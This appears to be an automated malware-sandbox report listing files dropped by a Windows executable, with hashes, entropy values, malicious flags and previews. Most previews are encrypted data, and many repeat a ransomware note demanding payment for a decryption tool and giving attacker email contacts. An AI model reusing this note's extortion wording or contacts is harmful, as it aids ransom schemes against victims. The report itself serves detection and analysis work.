                                                                                                                                        SSDEEP:1536:8TPij+AmtfZjBTCpAh5uNt5ySxSVila/VSKUyX:uS+AKjhCpA760kla9SKUyX
                                                                                                                                        MD5:3D722A09A7468530DDFD10ADEAEC15B7
                                                                                                                                        SHA1:1E51CB0ECB7CE191CCEDD05084EB29670D29BC16
                                                                                                                                        SHA-256:8CE2691B1BC47A85F2B3B5AB0E25EEC31834D8E30F32F9FFD19E6458970EBAC7
                                                                                                                                        SHA-512:BCC000C36D127057220869738AAC57152F4EF8650CCBA535334D9A242988F91E0FD1A1E80FC9AE4C36EA0E250A169654D756002C390B4C48CC195E65E3B0D089
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.}$...Q>...].V....Q3.n0LR#3<;7H.....Q.k.T8.....v...e..~l.8..+d{x...FtJ*..%?. .U...+.m.x...8{E.......q..i.<...`mh9rlcj...y\.........\...~.<.E;,@.T...!.jbx....4i.....t.B..".`.%....*..16....;....6 I..i.}..U..(..J....#p...2...`....#.GCO.H..`*.f..k.>mKtd0l.Bl.(@..6B...5....N....*;.d..co.&..x..T....U2....VY0...._...#E........x.{:jN...s. .SS..!.:.f8...6..~)...J|3...D..ppZ.....N.5x..Fn.._..}.^..JT.S&..$...M'@/u../..{r...Y..|U&I42...X.2......\...>......w.T...q.r...#.Df.Y......._y..........'.._..3V2......IY.....4W........=.!.p.l..J.W........&87..o..\..!.ke'9.~....bcl...."t.!..5..C..M,.....n.c...PV..\B.s.....I...aJ._.....#..!.4..f.9..A.0*v.m..QC...KH`ge..........0..O..;%..OYr|z:.~.'Gw......R..&7}....6.S..k.x.......~em.C^..ff<H,.s.2. ...o..Mc..I4.]{...w...c.....<...v./..)B.q-...&.XS......t}..W..y..R(.....IOm.~O..'.......m...s.vM.GE.g..=.....i.>......N.ko.9v.5...+.M..B.0b[i.o.]yTn...v..j.o...BLz..)Yv. k..%R..q.to.2IP.!..Y..T.......&.~.CBBG<..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):112129
                                                                                                                                        Entropy (8bit):7.709119784407959
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3072:G7/IUDIVYNhZBIDt9KFHgoYF0gOY0yLEJdUjMcpK:wAfAZsVFF0gOjymdY+
                                                                                                                                        MD5:6A39A1018145635A938012D3613E3CF9
                                                                                                                                        SHA1:2FA7FFC50876390A745041E54B71551D2A1F1CC9
                                                                                                                                        SHA-256:245A1BBD0D290956740B2AD4D558A640C0BA7D9B1976B393B0AC891F9A7F9BF5
                                                                                                                                        SHA-512:37D09B280AD07BB8DB919BA612A0D9E11E7BB956BA983ADD4E73EAE02C8AE4670D5E49828D89B045CF58902E8E4661F8064398FA2267D9B099E537AFA47ED375
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..Za....5.........ef....\...."..z....B1...0%.}...|.h...Ig.....Pb..F\.6u....<..;... ....u...e...V".1.R...0...0R.E33\..B..@(.S].]W...7....*.j.i..>.v0<...e.?J.X.X...1A.c.[...$.u.G(..B..M.~...\..".....k(0.6..t..5.])..;.gzx:.I......}.3..[.sf......M.,.c..qO...$.$._.E^....K..(./U`*..%.5......#.e....M..,y(..;...5.t.*..\.u`.1.;..........b.v.Oj..J....Y.......$ER.> ...G..k..ZE!...>5'.....SS..j...:.LIoD.'t.*.d/M.O4OJ..n..s.[.-..EB0.F.|G.........l.....>:. ..d..U<!.e.............(F\.....;. ...}X.H...;..%. ..b...d..g.mj.<~.p.!.$...t.m5k.LcVJ...bO<.rd..I...A.7.W..6#m.n.~.>.F.m...."....9.(....T..^....2rWE.......02..K..b.........sd....p.R.c...h._*0.=..=.XV.J....H.Xbg.G9}.FH'...r....+v...d...krj.rW0S...^.8j....#D...I7.CXR&... I.......fd...u..D.UV)...r.9V.NS"........xN.K..N.wJ.....'..h.HC.d.._....'`.B..tL......L.}I...3A........../......n.."..i..A..KV..."*.K ..q0.w...a....I...ck...z.y.....y.2.|..:.^=^V.#E.".zG.....U\.z.....|(..%.y....F..i.K53q.e\..&
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):112129
                                                                                                                                        Entropy (8bit):7.709119784407959
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3072:G7/IUDIVYNhZBIDt9KFHgoYF0gOY0yLEJdUjMcpK:wAfAZsVFF0gOjymdY+
                                                                                                                                        MD5:6A39A1018145635A938012D3613E3CF9
                                                                                                                                        SHA1:2FA7FFC50876390A745041E54B71551D2A1F1CC9
                                                                                                                                        SHA-256:245A1BBD0D290956740B2AD4D558A640C0BA7D9B1976B393B0AC891F9A7F9BF5
                                                                                                                                        SHA-512:37D09B280AD07BB8DB919BA612A0D9E11E7BB956BA983ADD4E73EAE02C8AE4670D5E49828D89B045CF58902E8E4661F8064398FA2267D9B099E537AFA47ED375
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..Za....5.........ef....\...."..z....B1...0%.}...|.h...Ig.....Pb..F\.6u....<..;... ....u...e...V".1.R...0...0R.E33\..B..@(.S].]W...7....*.j.i..>.v0<...e.?J.X.X...1A.c.[...$.u.G(..B..M.~...\..".....k(0.6..t..5.])..;.gzx:.I......}.3..[.sf......M.,.c..qO...$.$._.E^....K..(./U`*..%.5......#.e....M..,y(..;...5.t.*..\.u`.1.;..........b.v.Oj..J....Y.......$ER.> ...G..k..ZE!...>5'.....SS..j...:.LIoD.'t.*.d/M.O4OJ..n..s.[.-..EB0.F.|G.........l.....>:. ..d..U<!.e.............(F\.....;. ...}X.H...;..%. ..b...d..g.mj.<~.p.!.$...t.m5k.LcVJ...bO<.rd..I...A.7.W..6#m.n.~.>.F.m...."....9.(....T..^....2rWE.......02..K..b.........sd....p.R.c...h._*0.=..=.XV.J....H.Xbg.G9}.FH'...r....+v...d...krj.rW0S...^.8j....#D...I7.CXR&... I.......fd...u..D.UV)...r.9V.NS"........xN.K..N.wJ.....'..h.HC.d.._....'`.B..tL......L.}I...3A........../......n.."..i..A..KV..."*.K ..q0.w...a....I...ck...z.y.....y.2.|..:.^=^V.#E.".zG.....U\.z.....|(..%.y....F..i.K53q.e\..&
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):420
                                                                                                                                        Entropy (8bit):7.4694646572481584
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:leSrhildxFOtN/lg6ojC9K2AkLkb5oIZV/5HtqJuiEfAKb4Je5n:ldYXDgN+m9K2ACu5Vr/14JxEfAK95n
                                                                                                                                        MD5:3D70D0449B37021190D0A51C69F103D4
                                                                                                                                        SHA1:415AC9F734FCA596A4D95BC964060693A6A3D930
                                                                                                                                        SHA-256:8FF4A79DE6BC8812F5E95CCA391559ECC4904E71239F059B1B0DC6581186E737
                                                                                                                                        SHA-512:46D369F30057C2D931A7233561A07BACF0FA6FA4E5766DA9CA37F0BEB33E9BCA21BFA2445A731438F635F5F3DA1CB564CAFBB7EF9DF6F156F4A5E0CB258F659B
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:....9....zf.?5A.F..FS.;.E.A.$.c....I....................U...?.Q.....>..<..6..../.D....w.h..)..A.9.3...c..+o.5.........5.].q.x,..a.maJo.A:n::|n:y:.Z7'...j.-.W.`h!2['.F.A.Li......R.&...e.,Z..=....N.1^.'.u...e.4...nG........m...].?8X96..`."..?.&...J....0.\....:....._0....[...........p.....G.A@C...%..jDLP0?r...9.M..Rzh...X....%G.t...3.M%.x...E.~......4,.y.[I".F,|# .M.........l.0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):420
                                                                                                                                        Entropy (8bit):7.4694646572481584
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:leSrhildxFOtN/lg6ojC9K2AkLkb5oIZV/5HtqJuiEfAKb4Je5n:ldYXDgN+m9K2ACu5Vr/14JxEfAK95n
                                                                                                                                        MD5:3D70D0449B37021190D0A51C69F103D4
                                                                                                                                        SHA1:415AC9F734FCA596A4D95BC964060693A6A3D930
                                                                                                                                        SHA-256:8FF4A79DE6BC8812F5E95CCA391559ECC4904E71239F059B1B0DC6581186E737
                                                                                                                                        SHA-512:46D369F30057C2D931A7233561A07BACF0FA6FA4E5766DA9CA37F0BEB33E9BCA21BFA2445A731438F635F5F3DA1CB564CAFBB7EF9DF6F156F4A5E0CB258F659B
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:....9....zf.?5A.F..FS.;.E.A.$.c....I....................U...?.Q.....>..<..6..../.D....w.h..)..A.9.3...c..+o.5.........5.].q.x,..a.maJo.A:n::|n:y:.Z7'...j.-.W.`h!2['.F.A.Li......R.&...e.,Z..=....N.1^.'.u...e.4...nG........m...].?8X96..`."..?.&...J....0.\....:....._0....[...........p.....G.A@C...%..jDLP0?r...9.M..Rzh...X....%G.t...3.M%.x...E.~......4,.y.[I".F,|# .M.........l.0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4992
                                                                                                                                        Entropy (8bit):7.888509593577435
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:t/0nE9ZXxk1OayvCd0vWDjABrGkz03xLhc1IOgbzwNxk4snDEq36Yd2Lyz:tJXkQN0EjVS3xLhc2H/ax3soq3WLyz
                                                                                                                                        MD5:4FCE9602B5A3DF5AB5A98A29634FA12A
                                                                                                                                        SHA1:EF80B9D80B755FF7433D27AE14C8F85E82FFF552
                                                                                                                                        SHA-256:C71EFD51D036F4714A7DB4C5DB0D394BC03D1D7AF3F1BE71143DA1E8E64E7909
                                                                                                                                        SHA-512:A87D165A8FC65CBE1324C8DABACA940FDADC08D26575FB4A45C37FE520E5287C90564F8DA582A6FCAFE44EA1841C656D15B7002E1B5963402F3626EAE84000CB
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:.....=:T.|'.}d..dd.7.|)..;.|.\.&}..y4.._.zW..`...J..yo[P....E.S^...j....[...p..F+...DA\.!.5Z.....9$`..5......Iw;.j..S.B..7.;.........)3.........;`...*.......9....R...A.c,.......-h1.e..}8..(u]c:..,_...X...L..Bbe.....W....r!.6;'%..X.+Hm.J...u..2d.............82......p.......Z<.O..... ..w..N..nF...=..O.."n/.......h.2 .-p..d:(t..ou....0.h.u1..Ar..6....0.....? .....,.'..6....7qa..8lTO.E.....SCi.J..9..&...7..j.....k.g..........XK.v.,3......<..V..m#....C.6.dJ..O...wxu..y^C..&.l.VJi\.[..#.C..=......+r..F..;....g....s+..q.-..E.dx.:..'".{P........olQr........7.+...XQ..A.....2}..DP..........0.r....M.Xv..k.x28..L..IE.......x*;..Z...3p...>.E.B..A2..R...x2^.~?U..JFN.< ...._....T'd,.....~.xg..bQo;]....W..|....G~h.>>A....>O..*.P..^.A........=....S.c.|l.H.~.5#2.l%4O.?j.P/8....'.xE.rk..X.E..pb%U....sG..I.l.....E..*.....z...~K...U.6J.g~y.*..>.......k.....K..6..0...M.....-........Ep.X..+.}....X?..1..U.|EBBr."\.M.._]..#.$e3G....SF(.F.?]R...J.J.7...,.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4992
                                                                                                                                        Entropy (8bit):7.888509593577435
                                                                                                                                        Encrypted:false
